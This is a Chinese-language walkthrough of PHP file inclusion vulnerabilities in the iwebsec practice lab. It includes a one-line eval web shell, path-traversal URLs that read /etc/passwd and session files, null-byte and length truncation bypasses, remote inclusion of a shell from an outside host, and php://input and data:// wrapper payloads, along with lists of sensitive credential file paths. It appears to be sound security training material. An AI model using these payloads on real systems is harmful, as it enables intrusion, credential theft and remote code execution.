iwebsec靶场(文件包含)
一、什么是文件包含漏洞
1.为什么包含文件
- 包含内容:包含页头、页脚
- 包含函数:公共函数
- 减少重复代码,便于维护
2.问题
- 可能导致允许访问敏感文件或者执行恶意代码,造成漏洞
3.分类
-
本地文件包含(Local file Inclusion)
-
固定包含:
fileinc/footer.php
fileinc/main.php -
通过接口动态包含:
http://localhost/fileinc/include.php?file=footer.php
<?php echo "<p>copyright © 2021-" . date("Y") . " wpc </p>"; ?>
-
包含恶意代码或图片马:
http://localhost/fileinc/include.php?file=shell.php
<?php @eval($_POST['wpc']);?>
-
包含敏感文件:
http://localhost/fileinc/include.php?file=C:\Windows\system.ini
-
-
远程文件包含(Remote file inclusion)
-
配置
allow_url_fopen=no
allow_url_include=no
-
访问
http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
http://localhost/fileinc/include.php?file=http://远程IP/shell.php
-
二、PHP相关函数和伪协议
1.函数(https://www.php.net/manual/zh/)
-
include()
包含并运行指定文件
-
include_once()
在脚本执行期间包含并运行指定文件。此行为和 include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。 require_once,文件仅仅包含(require)一次
-
require()
require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR级别的错误。换句话说将导致脚本中止而 include只产生警告(E_WARNING),脚本会继续运行
-
require_once()
require_once 表达式和 require表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
-
fopen()
打开文件或者 URL
-
readfile()
输出文件
-
highlight_file
语法高亮一个文件
-
show_source
别名 highlight_file()
-
file_get_contents
将整个文件读入一个字符串
-
file
把整个文件读入一个数组中
2、伪协议
-
file://
访问本地文件系统
-
http://
访问HTTP(S)网址
-
ftp://
访问FTP(S)URLs
-
php://
访问各个输入/输出流(I/O streams)
-
zlib://
压缩流
-
data://
数据流
-
glob://
查找匹配的文件路径模式
-
phar://
PHP归档
-
ssh2://
Secure Shell2
-
rar://
RAR
-
ogg://
音频流
-
expect://
处理交互式的流
三、靶场地址:http://iwebsec.com/
四、本地文件包含
1.访问本地敏感文件
/fi/01.php?filename=../../../../etc/passwd
2.敏感文件默认路径
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
Windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
五、本地文件包含绕过
1.关键字被过滤
-
/被后台过滤
/fi/02.php?filename=../../../etc/passwd
2.绕过
-
方法一:%00截断
条件:magic_quotes_gpc = Off;php版本<5.3.4
/fi/02.php?filename=../../../../etc/passwd%00
-
方法二:长度截断
条件:windows系统;php版本 < php 5.2
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的
\0
,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,
././././
(n个) 的形式就可以通过这个把路径爆掉
六、session本地文件包含
1.session的工作原理
(1)首先使用session_start()函数进行初始换。
(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
2.session_start()简介
(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。
(2)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以在php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;
(3)若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。
3.利用条件
当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击。
Session的存储位置获取:一般是通过以下两种方式。
(1)通过phpinfo的信息可以获取到Session的存储位置。phpinfo中的session.save_path存储的是Session的存放位置。通过phpinfo的信息获取到session.save_path为/var/lib/php/session
(2)通过猜测默认的Session存放位置进行尝试。通常Linux下Session默认存储在/var/lib/php/session目录下。默认存储Session存放位置。
4.利用
-
访问
/fi/03.php?iwebsec=iwebsec
发现返回页面如下,证明等号后边的参数值被写入到SESSION[“username”]中 -
尝试写入PHP代码,发现返回值为空,证明代码被执行
/fi/03.php?iwebsec=<? phpphpinfo(); ?>
-
按F12点击network(网络)然后刷新页面,找到Cookie中的PHPSESSID值,文件的命名规则是sess_PHPSESSID
-
现在已知文件的内容、路径和名称,再结合前面两关的漏洞,进行漏洞利用
PHPSESSID=5cehc94cs8f51707o6pujlegq1 /fi/01.php?filename=../../../../var/lib/php/session/sess_5cehc94cs8f51707o6pujlegq1
七、远程文件包含
1.利用条件
- 需要把PHP的配置文件从allow_url_fopen和allow_url_include设置为ON
2.利用
-
先在本地编写phpinfo,上传到自己的网站上,地址:http://www.xxx.com/phpinfo.html,然后构造为
/04.php?filename=http://www.xxx.com/phpinfo.html
八、远程文件包含绕过
- 同五本地文件包含绕过
九、php://filter伪协议
1.php://filter介绍:
-
php伪协议的一种,设计用来过滤筛选文件
-
非php语法文件include失败直接输出源码,php语法文件include成功,直接执行php代码
-
如非想直接读取php语法文件可以先base64编码,再传入include函数,这样就不会被认为是php语法文件,输出的base64编码,解码即可
2.利用
-
/fi/06.php?filename=/etc/passwd
十、php://input伪协议
1.php://input介绍
- php://input是一个只读信息流
- 当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据
2.利用(iwebsec第七关和第八关相同)
- 使用GET请求访问
/fi/08.php?filename=php://input
- 使用POST写入代码
<?php phpinfo();?>
十一、file://伪协议利用
1.file://伪协议介绍
- 用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
- file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
2.利用
-
/fi/09.php?filename=file:///etc/passwd
十二、data://伪协议利用
1.data://伪协议介绍
- 数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
- 需要 allow_url_include:On allow_url_fopen:On
2.利用
-
/fi/10.php?filename=data://text/plain,<?php%20phpinfo();?>